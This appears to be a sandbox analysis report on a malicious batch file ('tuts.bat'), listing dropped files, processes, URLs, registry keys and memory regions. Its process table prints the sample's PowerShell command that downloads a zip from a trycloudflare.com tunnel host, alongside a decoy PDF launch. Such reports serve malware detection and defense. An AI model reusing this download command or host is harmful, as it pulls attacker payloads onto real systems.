Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
tuts.bat
|
Unicode text, UTF-16, little-endian text, with very long lines (29307), with no line terminators
|
initial sample
|
 |
|
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG
|
ASCII text
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)
|
ASCII text
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG
|
ASCII text
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)
|
ASCII text
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\694e5a90-7562-49cc-a6a5-a0d58167467f.tmp
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9b115992-2c0d-4837-9047-7a8a3619ba75.tmp
|
JSON data
|
modified
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF66e1c4.TMP (copy)
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log
|
data
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG
|
ASCII text
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)
|
ASCII text
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
|
SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4,
UTF-8, version-valid-for 15
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal
|
SQLite Rollback Journal
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D
|
Certificate, Version=3
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D
|
data
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
|
data
|
modified
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2500
|
PostScript document text
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)
|
PostScript document text
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents
|
SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8,
version-valid-for 25
|
dropped
|
||
|
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal
|
SQLite Rollback Journal
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\MSI5d4aa.LOG
|
Unicode text, UTF-16, little-endian text, with CRLF line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ph15uazu.kjg.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vsfukddy.ljp.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-01 03-23-12-222.log
|
ASCII text, with very long lines (393)
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log
|
ASCII text, with very long lines (393), with CRLF line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt
|
ASCII text, with CRLF line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\acrocef_low\3884675d-268a-4833-bf10-7777db148289.tmp
|
gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\acrocef_low\6290e876-9dae-4832-b600-2d2840e5c6a6.tmp
|
gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\acrocef_low\81105dfb-9356-42f5-ab0a-ccbe02e15441.tmp
|
gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\acrocef_low\97fa91c2-a091-41ff-9684-52a29cf2d0a7.tmp
|
gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
|
dropped
|
||
|
C:\Users\user\Desktop\tmp
|
ASCII text, with CRLF line terminators
|
modified
|
||
|
\Device\Null
|
ASCII text, with CRLF line terminators, with overstriking
|
dropped
|
There are 43 hidden files, click here to show them.
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\cmd.exe
|
C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\tuts.bat" "
|
|
|
|
C:\Windows\System32\cmd.exe
|
C:\Windows\system32\cmd.exe /c type tmp
|
|
|
|
C:\Windows\System32\cmd.exe
|
C:\Windows\system32\cmd.exe /c type tmp
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest
-Uri 'https://terrorists-cultures-wallpaper-tabs.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' }
catch { exit 1 }"
|
|
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\System32\chcp.com
|
chcp.com 437
|
||
|
C:\Windows\System32\find.exe
|
fiNd
|
||
|
C:\Windows\System32\find.exe
|
find
|
||
|
C:\Windows\System32\findstr.exe
|
findstr /L /I set "C:\Users\user\Desktop\tuts.bat"
|
||
|
C:\Windows\System32\findstr.exe
|
findstr /L /I goto "C:\Users\user\Desktop\tuts.bat"
|
||
|
C:\Windows\System32\findstr.exe
|
findstr /L /I echo "C:\Users\user\Desktop\tuts.bat"
|
||
|
C:\Windows\System32\findstr.exe
|
findstr /L /I pause "C:\Users\user\Desktop\tuts.bat"
|
||
|
C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
|
"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\BPMLNOBVSB.pdf"
|
||
|
C:\Windows\System32\timeout.exe
|
timeout /t 5
|
||
|
C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
|
"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
|
||
|
C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
|
"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService
--lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0"
--lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log"
--mojo-platform-channel-handle=2164 --field-trial-handle=1584,i,575126615186197544,683786838626507956,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker
/prefetch:8
|
There are 6 hidden processes, click here to show them.
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
https://terrorists-cultures-wallpaper-tabs.trycloudflare.com
|
unknown
|
|
|
|
https://terrorists-cultures-wallpaper-tabs.trycloudflare.com/toto.zip
|
unknown
|
|
|
|
https://terrorists-cultures-wallpaper-tabs.trycloudflare.com/toto.zip__author__=EscaLag__github__=gi
|
unknown
|
||
|
http://nuget.org/NuGet.exe
|
unknown
|
||
|
http://www.apache.org/licenses/LICENSE-2.0
|
unknown
|
||
|
http://x1.i.lencr.org/
|
unknown
|
||
|
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
|
http://crl.mr
|
unknown
|
||
|
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
|
https://go.micro
|
unknown
|
||
|
https://contoso.com/
|
unknown
|
||
|
https://nuget.org/nuget.exe
|
unknown
|
||
|
https://contoso.com/License
|
unknown
|
||
|
https://terrorists-cultures-wallpaper-tabs.trycloudflare.com/toto.zip__author_
|
unknown
|
||
|
https://contoso.com/Icon
|
unknown
|
||
|
https://oneget.orgX
|
unknown
|
||
|
https://terrorists-cultures-wallpaper-tabs.trycloudflare.com/on
|
unknown
|
||
|
https://terrorists-cultures-wallpaper-tabs.trycloudflare.com/toto.zipT
|
unknown
|
||
|
https://aka.ms/pscore68
|
unknown
|
||
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
|
https://github.com/Pester/Pester
|
unknown
|
||
|
https://oneget.org
|
unknown
|
There are 12 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
terrorists-cultures-wallpaper-tabs.trycloudflare.com
|
unknown
|
|
|
|
x1.i.lencr.org
|
unknown
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
LangID
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe.FriendlyAppName
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe.ApplicationCompany
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
There are 7 hidden registries, click here to show them.
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
2101C07F000
|
heap
|
page read and write
|
||
|
2101DF78000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A690000
|
trusted library allocation
|
page read and write
|
||
|
2101F067000
|
trusted library allocation
|
page read and write
|
||
|
B54AB7E000
|
stack
|
page read and write
|
||
|
2101C040000
|
heap
|
page read and write
|
||
|
B54B1BE000
|
stack
|
page read and write
|
||
|
B54AEB7000
|
stack
|
page read and write
|
||
|
2101C09F000
|
heap
|
page read and write
|
||
|
2102DEF1000
|
trusted library allocation
|
page read and write
|
||
|
1FA4A720000
|
heap
|
page read and write
|
||
|
210361F0000
|
heap
|
page read and write
|
||
|
2101DEC0000
|
heap
|
page execute and read and write
|
||
|
170CBE00000
|
heap
|
page read and write
|
||
|
580BAFF000
|
stack
|
page read and write
|
||
|
2101F7E5000
|
trusted library allocation
|
page read and write
|
||
|
1C2F5194000
|
heap
|
page read and write
|
||
|
1DC82FD4000
|
heap
|
page read and write
|
||
|
7FFD9A490000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A740000
|
trusted library allocation
|
page read and write
|
||
|
2101E122000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A750000
|
trusted library allocation
|
page read and write
|
||
|
1FA4A730000
|
heap
|
page read and write
|
||
|
7FFD9A662000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A566000
|
trusted library allocation
|
page execute and read and write
|
||
|
1C2F36A0000
|
heap
|
page read and write
|
||
|
10007C000
|
stack
|
page read and write
|
||
|
2101C049000
|
heap
|
page read and write
|
||
|
2102DF64000
|
trusted library allocation
|
page read and write
|
||
|
210360F0000
|
heap
|
page read and write
|
||
|
7FFD9A6A0000
|
trusted library allocation
|
page read and write
|
||
|
21036043000
|
heap
|
page read and write
|
||
|
B54ABFD000
|
stack
|
page read and write
|
||
|
21035FE0000
|
heap
|
page execute and read and write
|
||
|
7FFD9A530000
|
trusted library allocation
|
page read and write
|
||
|
170CBE30000
|
heap
|
page read and write
|
||
|
1C2F5190000
|
heap
|
page read and write
|
||
|
2101FA66000
|
trusted library allocation
|
page read and write
|
||
|
B54AC7E000
|
stack
|
page read and write
|
||
|
2102DF00000
|
trusted library allocation
|
page read and write
|
||
|
2101C150000
|
heap
|
page readonly
|
||
|
258C51F000
|
stack
|
page read and write
|
||
|
2101F502000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A650000
|
trusted library allocation
|
page execute and read and write
|
||
|
9C97D9F000
|
stack
|
page read and write
|
||
|
7FFD9A700000
|
trusted library allocation
|
page read and write
|
||
|
B54ACFD000
|
stack
|
page read and write
|
||
|
1FA4A7B0000
|
heap
|
page read and write
|
||
|
2101F78A000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A635000
|
trusted library allocation
|
page read and write
|
||
|
21036083000
|
heap
|
page read and write
|
||
|
1FA4AAB5000
|
heap
|
page read and write
|
||
|
170CBE04000
|
heap
|
page read and write
|
||
|
7FFD9A6E0000
|
trusted library allocation
|
page read and write
|
||
|
170CBE80000
|
heap
|
page read and write
|
||
|
7FFD9A790000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A770000
|
trusted library allocation
|
page read and write
|
||
|
170CBE10000
|
heap
|
page read and write
|
||
|
B54B13E000
|
stack
|
page read and write
|
||
|
2101DDA0000
|
heap
|
page read and write
|
||
|
2101FB30000
|
trusted library allocation
|
page read and write
|
||
|
1DC82FD0000
|
heap
|
page read and write
|
||
|
1DC82FA0000
|
heap
|
page read and write
|
||
|
B54ADF9000
|
stack
|
page read and write
|
||
|
2101C1E0000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A483000
|
trusted library allocation
|
page execute and read and write
|
||
|
2101C0C5000
|
heap
|
page read and write
|
||
|
7FFD9A6B0000
|
trusted library allocation
|
page read and write
|
||
|
210360C2000
|
heap
|
page read and write
|
||
|
170CBE8A000
|
heap
|
page read and write
|
||
|
7FFD9A540000
|
trusted library allocation
|
page execute and read and write
|
||
|
1DC82F80000
|
heap
|
page read and write
|
||
|
580BB7F000
|
stack
|
page read and write
|
||
|
2101BEA0000
|
heap
|
page read and write
|
||
|
7FFD9A640000
|
trusted library allocation
|
page execute and read and write
|
||
|
1DC82E87000
|
heap
|
page read and write
|
||
|
2101F4E2000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A48D000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFD9A780000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A730000
|
trusted library allocation
|
page read and write
|
||
|
2101C1D0000
|
heap
|
page read and write
|
||
|
21036110000
|
heap
|
page read and write
|
||
|
1C2F5070000
|
heap
|
page read and write
|
||
|
2101BFE0000
|
heap
|
page read and write
|
||
|
B54AA7E000
|
stack
|
page read and write
|
||
|
2103602F000
|
heap
|
page read and write
|
||
|
1DC82E8A000
|
heap
|
page read and write
|
||
|
9C9807E000
|
stack
|
page read and write
|
||
|
170CBE87000
|
heap
|
page read and write
|
||
|
2101F252000
|
trusted library allocation
|
page read and write
|
||
|
10017F000
|
stack
|
page read and write
|
||
|
1FA4A750000
|
heap
|
page read and write
|
||
|
7FFD9A536000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A482000
|
trusted library allocation
|
page read and write
|
||
|
1C2F36B0000
|
heap
|
page read and write
|
||
|
7DF42A2E0000
|
trusted library allocation
|
page execute and read and write
|
||
|
1DC82E80000
|
heap
|
page read and write
|
||
|
1FA4A7B8000
|
heap
|
page read and write
|
||
|
7FFD9A7B0000
|
trusted library allocation
|
page read and write
|
||
|
21035FF0000
|
heap
|
page read and write
|
||
|
B54BC0E000
|
stack
|
page read and write
|
||
|
21036240000
|
heap
|
page read and write
|
||
|
2102DF70000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A5A0000
|
trusted library allocation
|
page execute and read and write
|
||
|
21036086000
|
heap
|
page read and write
|
||
|
21036236000
|
heap
|
page read and write
|
||
|
7FFD9A630000
|
trusted library allocation
|
page read and write
|
||
|
2101EB22000
|
trusted library allocation
|
page read and write
|
||
|
2101F4E7000
|
trusted library allocation
|
page read and write
|
||
|
580BA7C000
|
stack
|
page read and write
|
||
|
1C2F3700000
|
heap
|
page read and write
|
||
|
B54AFB9000
|
stack
|
page read and write
|
||
|
7FFD9A49B000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A7C0000
|
trusted library allocation
|
page read and write
|
||
|
2101FB2C000
|
trusted library allocation
|
page read and write
|
||
|
2101BF80000
|
heap
|
page read and write
|
||
|
B54AF38000
|
stack
|
page read and write
|
||
|
21035FE7000
|
heap
|
page execute and read and write
|
||
|
2102E0A6000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A710000
|
trusted library allocation
|
page read and write
|
||
|
B54AD7E000
|
stack
|
page read and write
|
||
|
7FFD9A6C0000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A680000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A7D0000
|
trusted library allocation
|
page read and write
|
||
|
210360E5000
|
heap
|
page read and write
|
||
|
1FA4AAB0000
|
heap
|
page read and write
|
||
|
2101F50A000
|
trusted library allocation
|
page read and write
|
||
|
2101C2A0000
|
heap
|
page read and write
|
||
|
B54AEBE000
|
stack
|
page read and write
|
||
|
2101C020000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A6D0000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A670000
|
trusted library allocation
|
page execute and read and write
|
||
|
2101C2B4000
|
heap
|
page read and write
|
||
|
7FFD9A484000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A760000
|
trusted library allocation
|
page read and write
|
||
|
2101C081000
|
heap
|
page read and write
|
||
|
7FFD9A6F0000
|
trusted library allocation
|
page read and write
|
||
|
B54B03E000
|
stack
|
page read and write
|
||
|
1FA4A7BA000
|
heap
|
page read and write
|
||
|
1C2F3709000
|
heap
|
page read and write
|
||
|
258C49C000
|
stack
|
page read and write
|
||
|
2101C2A3000
|
heap
|
page read and write
|
||
|
9C97D1C000
|
stack
|
page read and write
|
||
|
B54B23C000
|
stack
|
page read and write
|
||
|
B54B0BE000
|
stack
|
page read and write
|
||
|
2101C2B6000
|
heap
|
page read and write
|
||
|
21036093000
|
heap
|
page read and write
|
||
|
2101C08B000
|
heap
|
page read and write
|
||
|
2101DEE0000
|
heap
|
page execute and read and write
|
||
|
210360B4000
|
heap
|
page read and write
|
||
|
21036023000
|
heap
|
page read and write
|
||
|
2101C2B0000
|
heap
|
page read and write
|
||
|
B54BD0D000
|
stack
|
page read and write
|
||
|
210365D0000
|
heap
|
page read and write
|
||
|
2103622D000
|
heap
|
page read and write
|
||
|
2101C2A6000
|
heap
|
page read and write
|
||
|
170CBD20000
|
heap
|
page read and write
|
||
|
2101C085000
|
heap
|
page read and write
|
||
|
7FFD9A63A000
|
trusted library allocation
|
page read and write
|
||
|
2101C190000
|
trusted library allocation
|
page read and write
|
||
|
2101C140000
|
trusted library allocation
|
page read and write
|
||
|
B54AAFE000
|
stack
|
page read and write
|
||
|
B54AE3E000
|
stack
|
page read and write
|
||
|
258C59F000
|
stack
|
page read and write
|
||
|
2101DEF1000
|
trusted library allocation
|
page read and write
|
||
|
2101C08D000
|
heap
|
page read and write
|
||
|
1DC82D90000
|
heap
|
page read and write
|
||
|
B54BC8E000
|
stack
|
page read and write
|
||
|
7FFD9A620000
|
trusted library allocation
|
page read and write
|
||
|
2101F75E000
|
trusted library allocation
|
page read and write
|
||
|
1000FE000
|
stack
|
page read and write
|
||
|
2101BFA0000
|
heap
|
page read and write
|
||
|
7FFD9A720000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9A53C000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFD9A7A0000
|
trusted library allocation
|
page read and write
|
||
|
B54A7D3000
|
stack
|
page read and write
|
||
|
2101C193000
|
trusted library allocation
|
page read and write
|
There are 167 hidden memdumps, click here to show them.